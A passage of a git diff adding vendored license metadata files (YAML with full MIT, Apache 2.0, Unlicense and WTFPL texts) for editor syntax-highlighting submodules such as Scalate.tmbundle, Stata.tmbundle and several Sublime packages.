+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/SMT.tmbundle.dep.yml b/vendor/licenses/git_submodule/SMT.tmbundle.dep.yml
new file mode 100644
index 0000000000..34bffee09b
--- /dev/null
+++ b/vendor/licenses/git_submodule/SMT.tmbundle.dep.yml
@@ -0,0 +1,32 @@
+---
+type: git_submodule
+name: SMT.tmbundle
+version: 426d5f7e0a5303fedfff2465d30165dcb4fae675
+license: unlicense
+licenses:
+- text: |-
+    This is free and unencumbered software released into the public domain.
+
+    Anyone is free to copy, modify, publish, use, compile, sell, or
+    distribute this software, either in source code form or as a compiled
+    binary, for any purpose, commercial or non-commercial, and by any
+    means.
+
+    In jurisdictions that recognize copyright laws, the author or authors
+    of this software dedicate any and all copyright interest in the
+    software to the public domain. We make this dedication for the benefit
+    of the public at large and to the detriment of our heirs and
+    successors. We intend this dedication to be an overt act of
+    relinquishment in perpetuity of all present and future rights to this
+    software under copyright law.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+    EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+    MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
+    IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR
+    OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
+    ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
+    OTHER DEALINGS IN THE SOFTWARE.
+
+    For more information, please refer to <http://unlicense.org>
+notices: []
diff --git a/vendor/licenses/git_submodule/Scalate.tmbundle.dep.yml b/vendor/licenses/git_submodule/Scalate.tmbundle.dep.yml
new file mode 100644
index 0000000000..2cd90d43bb
--- /dev/null
+++ b/vendor/licenses/git_submodule/Scalate.tmbundle.dep.yml
@@ -0,0 +1,212 @@
+---
+name: Scalate.tmbundle
+version: 0307535add076965c8cd438d0f4109bec7d68d2d
+type: git_submodule
+homepage: https://github.com/scalate/Scalate.tmbundle
+license: apache-2.0
+licenses:
+- sources: license.txt
+  text: |2
+
+                                     Apache License
+                               Version 2.0, January 2004
+                            http://www.apache.org/licenses/
+
+       TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+       1. Definitions.
+
+          "License" shall mean the terms and conditions for use, reproduction,
+          and distribution as defined by Sections 1 through 9 of this document.
+
+          "Licensor" shall mean the copyright owner or entity authorized by
+          the copyright owner that is granting the License.
+
+          "Legal Entity" shall mean the union of the acting entity and all
+          other entities that control, are controlled by, or are under common
+          control with that entity. For the purposes of this definition,
+          "control" means (i) the power, direct or indirect, to cause the
+          direction or management of such entity, whether by contract or
+          otherwise, or (ii) ownership of fifty percent (50%) or more of the
+          outstanding shares, or (iii) beneficial ownership of such entity.
+
+          "You" (or "Your") shall mean an individual or Legal Entity
+          exercising permissions granted by this License.
+
+          "Source" form shall mean the preferred form for making modifications,
+          including but not limited to software source code, documentation
+          source, and configuration files.
+
+          "Object" form shall mean any form resulting from mechanical
+          transformation or translation of a Source form, including but
+          not limited to compiled object code, generated documentation,
+          and conversions to other media types.
+
+          "Work" shall mean the work of authorship, whether in Source or
+          Object form, made available under the License, as indicated by a
+          copyright notice that is included in or attached to the work
+          (an example is provided in the Appendix below).
+
+          "Derivative Works" shall mean any work, whether in Source or Object
+          form, that is based on (or derived from) the Work and for which the
+          editorial revisions, annotations, elaborations, or other modifications
+          represent, as a whole, an original work of authorship. For the purposes
+          of this License, Derivative Works shall not include works that remain
+          separable from, or merely link (or bind by name) to the interfaces of,
+          the Work and Derivative Works thereof.
+
+          "Contribution" shall mean any work of authorship, including
+          the original version of the Work and any modifications or additions
+          to that Work or Derivative Works thereof, that is intentionally
+          submitted to Licensor for inclusion in the Work by the copyright owner
+          or by an individual or Legal Entity authorized to submit on behalf of
+          the copyright owner. For the purposes of this definition, "submitted"
+          means any form of electronic, verbal, or written communication sent
+          to the Licensor or its representatives, including but not limited to
+          communication on electronic mailing lists, source code control systems,
+          and issue tracking systems that are managed by, or on behalf of, the
+          Licensor for the purpose of discussing and improving the Work, but
+          excluding communication that is conspicuously marked or otherwise
+          designated in writing by the copyright owner as "Not a Contribution."
+
+          "Contributor" shall mean Licensor and any individual or Legal Entity
+          on behalf of whom a Contribution has been received by Licensor and
+          subsequently incorporated within the Work.
+
+       2. Grant of Copyright License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          copyright license to reproduce, prepare Derivative Works of,
+          publicly display, publicly perform, sublicense, and distribute the
+          Work and such Derivative Works in Source or Object form.
+
+       3. Grant of Patent License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          (except as stated in this section) patent license to make, have made,
+          use, offer to sell, sell, import, and otherwise transfer the Work,
+          where such license applies only to those patent claims licensable
+          by such Contributor that are necessarily infringed by their
+          Contribution(s) alone or by combination of their Contribution(s)
+          with the Work to which such Contribution(s) was submitted. If You
+          institute patent litigation against any entity (including a
+          cross-claim or counterclaim in a lawsuit) alleging that the Work
+          or a Contribution incorporated within the Work constitutes direct
+          or contributory patent infringement, then any patent licenses
+          granted to You under this License for that Work shall terminate
+          as of the date such litigation is filed.
+
+       4. Redistribution. You may reproduce and distribute copies of the
+          Work or Derivative Works thereof in any medium, with or without
+          modifications, and in Source or Object form, provided that You
+          meet the following conditions:
+
+          (a) You must give any other recipients of the Work or
+              Derivative Works a copy of this License; and
+
+          (b) You must cause any modified files to carry prominent notices
+              stating that You changed the files; and
+
+          (c) You must retain, in the Source form of any Derivative Works
+              that You distribute, all copyright, patent, trademark, and
+              attribution notices from the Source form of the Work,
+              excluding those notices that do not pertain to any part of
+              the Derivative Works; and
+
+          (d) If the Work includes a "NOTICE" text file as part of its
+              distribution, then any Derivative Works that You distribute must
+              include a readable copy of the attribution notices contained
+              within such NOTICE file, excluding those notices that do not
+              pertain to any part of the Derivative Works, in at least one
+              of the following places: within a NOTICE text file distributed
+              as part of the Derivative Works; within the Source form or
+              documentation, if provided along with the Derivative Works; or,
+              within a display generated by the Derivative Works, if and
+              wherever such third-party notices normally appear. The contents
+              of the NOTICE file are for informational purposes only and
+              do not modify the License. You may add Your own attribution
+              notices within Derivative Works that You distribute, alongside
+              or as an addendum to the NOTICE text from the Work, provided
+              that such additional attribution notices cannot be construed
+              as modifying the License.
+
+          You may add Your own copyright statement to Your modifications and
+          may provide additional or different license terms and conditions
+          for use, reproduction, or distribution of Your modifications, or
+          for any such Derivative Works as a whole, provided Your use,
+          reproduction, and distribution of the Work otherwise complies with
+          the conditions stated in this License.
+
+       5. Submission of Contributions. Unless You explicitly state otherwise,
+          any Contribution intentionally submitted for inclusion in the Work
+          by You to the Licensor shall be under the terms and conditions of
+          this License, without any additional terms or conditions.
+          Notwithstanding the above, nothing herein shall supersede or modify
+          the terms of any separate license agreement you may have executed
+          with Licensor regarding such Contributions.
+
+       6. Trademarks. This License does not grant permission to use the trade
+          names, trademarks, service marks, or product names of the Licensor,
+          except as required for reasonable and customary use in describing the
+          origin of the Work and reproducing the content of the NOTICE file.
+
+       7. Disclaimer of Warranty. Unless required by applicable law or
+          agreed to in writing, Licensor provides the Work (and each
+          Contributor provides its Contributions) on an "AS IS" BASIS,
+          WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+          implied, including, without limitation, any warranties or conditions
+          of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+          PARTICULAR PURPOSE. You are solely responsible for determining the
+          appropriateness of using or redistributing the Work and assume any
+          risks associated with Your exercise of permissions under this License.
+
+       8. Limitation of Liability. In no event and under no legal theory,
+          whether in tort (including negligence), contract, or otherwise,
+          unless required by applicable law (such as deliberate and grossly
+          negligent acts) or agreed to in writing, shall any Contributor be
+          liable to You for damages, including any direct, indirect, special,
+          incidental, or consequential damages of any character arising as a
+          result of this License or out of the use or inability to use the
+          Work (including but not limited to damages for loss of goodwill,
+          work stoppage, computer failure or malfunction, or any and all
+          other commercial damages or losses), even if such Contributor
+          has been advised of the possibility of such damages.
+
+       9. Accepting Warranty or Additional Liability. While redistributing
+          the Work or Derivative Works thereof, You may choose to offer,
+          and charge a fee for, acceptance of support, warranty, indemnity,
+          or other liability obligations and/or rights consistent with this
+          License. However, in accepting such obligations, You may act only
+          on Your own behalf and on Your sole responsibility, not on behalf
+          of any other Contributor, and only if You agree to indemnify,
+          defend, and hold each Contributor harmless for any liability
+          incurred by, or claims asserted against, such Contributor by reason
+          of your accepting any such warranty or additional liability.
+
+       END OF TERMS AND CONDITIONS
+
+       APPENDIX: How to apply the Apache License to your work.
+
+          To apply the Apache License to your work, attach the following
+          boilerplate notice, with the fields enclosed by brackets "[]"
+          replaced with your own identifying information. (Don't include
+          the brackets!)  The text should be enclosed in the appropriate
+          comment syntax for the file format. We also recommend that a
+          file or class name and description of purpose be included on the
+          same "printed page" as the copyright notice for easier
+          identification within third-party archives.
+
+       Copyright 2014 Hiram Chirino and James Strachan
+
+       Licensed under the Apache License, Version 2.0 (the "License");
+       you may not use this file except in compliance with the License.
+       You may obtain a copy of the License at
+
+           http://www.apache.org/licenses/LICENSE-2.0
+
+       Unless required by applicable law or agreed to in writing, software
+       distributed under the License is distributed on an "AS IS" BASIS,
+       WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+       See the License for the specific language governing permissions and
+       limitations under the License.
+notices: []
diff --git a/vendor/licenses/git_submodule/Scenic-tmLanguage.dep.yml b/vendor/licenses/git_submodule/Scenic-tmLanguage.dep.yml
new file mode 100644
index 0000000000..e2d26e4ae2
--- /dev/null
+++ b/vendor/licenses/git_submodule/Scenic-tmLanguage.dep.yml
@@ -0,0 +1,37 @@
+---
+name: Scenic-tmLanguage
+version: 67ef2ebfc97fb159c063a1d8276322357c11825b
+type: git_submodule
+homepage: https://github.com/UCSCFormalMethods/Scenic-tmLanguage.git
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    The MIT License
+
+    Copyright (c) 2022-present Daniel J. Fremont
+    Copyright (c) 2015-present MagicStack Inc.  http://magic.io
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in
+    all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+    THE SOFTWARE.
+notices:
+- sources: AUTHORS
+  text: |-
+    Daniel Fremont <dfremont@ucsc.edu>
+    Victor Petrovykh <victor@magic.io>
+    Yury Selivanov <yury@magic.io>
diff --git a/vendor/licenses/git_submodule/Slash.tmbundle.dep.yml b/vendor/licenses/git_submodule/Slash.tmbundle.dep.yml
new file mode 100644
index 0000000000..18adf9d9f1
--- /dev/null
+++ b/vendor/licenses/git_submodule/Slash.tmbundle.dep.yml
@@ -0,0 +1,26 @@
+---
+type: git_submodule
+name: Slash.tmbundle
+version: 48e678eb2797295190f0dfa324167d0006bcc4e3
+license: mit
+licenses:
+- text: |-
+    Copyright (C) 2014 Charlie Somerville
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy of
+    this software and associated documentation files (the "Software"), to deal in
+    the Software without restriction, including without limitation the rights to
+    use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
+    the Software, and to permit persons to whom the Software is furnished to do so,
+    subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
+    FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
+    COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
+    IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+    CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/Stata.tmbundle.dep.yml b/vendor/licenses/git_submodule/Stata.tmbundle.dep.yml
new file mode 100644
index 0000000000..55745b9ad0
--- /dev/null
+++ b/vendor/licenses/git_submodule/Stata.tmbundle.dep.yml
@@ -0,0 +1,60 @@
+---
+name: Stata.tmbundle
+version: 50685c273588cf6bd4828cb30432c7152df91c4e
+type: git_submodule
+homepage: https://github.com/pschumm/Stata.tmbundle
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    The MIT License (MIT)
+
+    Copyright (c) 2009-2013 the Stata.tmbundle authors and contributors (see AUTHORS file).
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in
+    all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+    THE SOFTWARE.
+- sources: README.mdown
+  text: |-
+    Copyright (c) 2009-2013 the Stata.tmbundle authors and contributors (see
+    AUTHORS file).
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices:
+- sources: AUTHORS
+  text: |-
+    Stata.tmbundle was written by:
+    Ben Jann
+    Tom Palmer
+    Phil Schumm
+    Michael Sheets
diff --git a/vendor/licenses/git_submodule/Stylus.dep.yml b/vendor/licenses/git_submodule/Stylus.dep.yml
new file mode 100644
index 0000000000..668a35cc36
--- /dev/null
+++ b/vendor/licenses/git_submodule/Stylus.dep.yml
@@ -0,0 +1,34 @@
+---
+type: git_submodule
+name: Stylus
+version: 30908e3b5757d6cab4bf2ce660ef89b0c614cf62
+license: mit
+licenses:
+- text: |-
+    Stylus Package for Sublime Text
+    Copyright (c) 2011-2013 Billy Moon <billy@itaccess.org>
+
+    Includes Stylus Language Definition for Sublime Text
+    Copyright (c) 2013 Dmitriy Kubyshkin <dmitriy@kubyshkin.ru>
+
+    Permission is hereby granted, free of charge, to any person
+    obtaining a copy of this software and associated documentation
+    files (the "Software"), to deal in the Software without
+    restriction, including without limitation the rights to use,
+    copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the
+    Software is furnished to do so, subject to the following
+    conditions:
+
+    The above copyright notice and this permission notice shall be
+    included in all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+    EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
+    OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+    NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
+    HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
+    WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
+    FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
+    OTHER DEALINGS IN THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/Sublime-Coq.dep.yml b/vendor/licenses/git_submodule/Sublime-Coq.dep.yml
new file mode 100644
index 0000000000..8d4e5375de
--- /dev/null
+++ b/vendor/licenses/git_submodule/Sublime-Coq.dep.yml
@@ -0,0 +1,29 @@
+---
+type: git_submodule
+name: Sublime-Coq
+version: 0d1f70727b19007e55780bcd7b74f70c399eba3b
+license: mit
+licenses:
+- text: |-
+    The MIT License (MIT)
+
+    Copyright (c) 2014 Matthew Kolosick
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/Sublime-HTTP.dep.yml b/vendor/licenses/git_submodule/Sublime-HTTP.dep.yml
new file mode 100644
index 0000000000..d54f8bdd4c
--- /dev/null
+++ b/vendor/licenses/git_submodule/Sublime-HTTP.dep.yml
@@ -0,0 +1,31 @@
+---
+name: Sublime-HTTP
+version: 9938a52ba113bb1e58eee8fc91878827c2967f59
+type: git_submodule
+homepage: https://github.com/samsalisbury/Sublime-HTTP
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    The MIT License (MIT)
+
+    Copyright (c) 2015 Sam Salisbury
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in
+    all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+    THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/Sublime-Lasso.dep.yml b/vendor/licenses/git_submodule/Sublime-Lasso.dep.yml
new file mode 100644
index 0000000000..04d1120adb
--- /dev/null
+++ b/vendor/licenses/git_submodule/Sublime-Lasso.dep.yml
@@ -0,0 +1,11 @@
+---
+type: git_submodule
+name: Sublime-Lasso
+version: c755cf53bed8f81dcfbe937f9feaa9e564f1c2a9
+license: public domain
+licenses:
+- text: |-
+    License Information
+
+    This package is provided as-is and is placed in the Public Domain. Sublime Text itself is proprietary software and is probably copyrighted by Sublime HQ Pty Ltd
+notices: []
diff --git a/vendor/licenses/git_submodule/Sublime-Loom.dep.yml b/vendor/licenses/git_submodule/Sublime-Loom.dep.yml
new file mode 100644
index 0000000000..a3f7910d56
--- /dev/null
+++ b/vendor/licenses/git_submodule/Sublime-Loom.dep.yml
@@ -0,0 +1,28 @@
+---
+type: git_submodule
+name: Sublime-Loom
+version: 725228409c4cfcbf00216d677b85466b2303ef0b
+license: mit
+licenses:
+- text: |-
+    The MIT License (MIT)
+
+    Copyright (c) 2014 Jason L Perry
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy of
+    this software and associated documentation files (the "Software"), to deal in
+    the Software without restriction, including without limitation the rights to
+    use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
+    the Software, and to permit persons to whom the Software is furnished to do so,
+    subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
+    FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
+    COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
+    IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+    CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/Sublime-Modula-2.dep.yml b/vendor/licenses/git_submodule/Sublime-Modula-2.dep.yml
new file mode 100644
index 0000000000..49c518fdc1
--- /dev/null
+++ b/vendor/licenses/git_submodule/Sublime-Modula-2.dep.yml
@@ -0,0 +1,31 @@
+---
+name: Sublime-Modula-2
+version: 9bd5077f925ac7a3edc87d45d1f872593ff7377e
+type: git_submodule
+homepage: https://github.com/harogaston/Sublime-Modula-2
+license: mit
+licenses:
+- sources: LICENSE.md
+  text: |-
+    The MIT License (MIT)
+
+    Copyright (c) 2014 Gastón Haro
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/Sublime-Nit.dep.yml b/vendor/licenses/git_submodule/Sublime-Nit.dep.yml
new file mode 100644
index 0000000000..650e346931
--- /dev/null
+++ b/vendor/licenses/git_submodule/Sublime-Nit.dep.yml
@@ -0,0 +1,21 @@
+---
+type: git_submodule
+name: Sublime-Nit
+version: 12c1d654166cab044fbab2d1d7f481930ad7777c
+license: wtfpl
+licenses:
+- text: |-
+    DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
+                        Version 2, December 2004
+
+     Copyright (C) 2004 Sam Hocevar <sam@hocevar.net>
+
+     Everyone is permitted to copy and distribute verbatim or modified
+     copies of this license document, and changing it is allowed as long
+     as the name is changed.
+
+                DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
+       TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
+
+      0. You just DO WHAT THE FUCK YOU WANT TO.
+notices: []
diff --git a/vendor/licenses/git_submodule/Sublime-Pep8.dep.yml b/vendor/licenses/git_submodule/Sublime-Pep8.dep.yml
new file mode 100644
index 0000000000..57720d969b
--- /dev/null
+++ b/vendor/licenses/git_submodule/Sublime-Pep8.dep.yml
@@ -0,0 +1,21 @@
+---
+type: git_submodule
+name: Sublime-Pep8
+version: be653c638b2b042c90384f5d3f335d93172bcd85
+license: wtfpl
+licenses:
+- text: |-
+    DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
+                        Version 2, December 2004
+
+     Copyright (C) 2017 Lucas Bajolet <lucas.bajolet@gmail.com>
+
+     Everyone is permitted to copy and distribute verbatim or modified
+     copies of this license document, and changing it is allowed as long
+     as the name is changed.
+
+                DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
+       TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
+
+      0. You just DO WHAT THE FUCK YOU WANT TO.
+notices: []
diff --git a/vendor/licenses/git_submodule/Sublime-QML.dep.yml b/vendor/licenses/git_submodule/Sublime-QML.dep.yml
new file mode 100644
index 0000000000..033ac60cd3
--- /dev/null
+++ b/vendor/licenses/git_submodule/Sublime-QML.dep.yml
@@ -0,0 +1,28 @@
+---
+type: git_submodule
+name: Sublime-QML
+version: e3e058a21f3c44d64ef5eda93925ee84169b62ec
+license: mit
+licenses:
+- text: |-
+    The MIT License (MIT)
+
+    Copyright (c) 2013 Sergey Kozlov
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy of
+    this software and associated documentation files (the "Software"), to deal in
+    the Software without restriction, including without limitation the rights to
+    use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
+    the Software, and to permit persons to whom the Software is furnished to do so,
+    subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
+    FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
+    COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
+    IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+    CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/Sublime-REBOL.dep.yml b/vendor/licenses/git_submodule/Sublime-REBOL.dep.yml
new file mode 100644
index 0000000000..5749402b14
--- /dev/null
+++ b/vendor/licenses/git_submodule/Sublime-REBOL.dep.yml
@@ -0,0 +1,32 @@
+---
+name: Sublime-REBOL
+version: b685f3cff9d7d8395fe51bcbf93fc43745169e7e
+type: git_submodule
+homepage: https://github.com/Oldes/Sublime-REBOL
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    Copyright (c) 2014-2015 Oldes
+
+    Permission is hereby granted, free of charge, to any person
+    obtaining a copy of this software and associated documentation
+    files (the "Software"), to deal in the Software without
+    restriction, including without limitation the rights to use,
+    copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the
+    Software is furnished to do so, subject to the following
+    conditions:
+
+    The above copyright notice and this permission notice shall be
+    included in all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+    EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
+    OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+    NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
+    HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
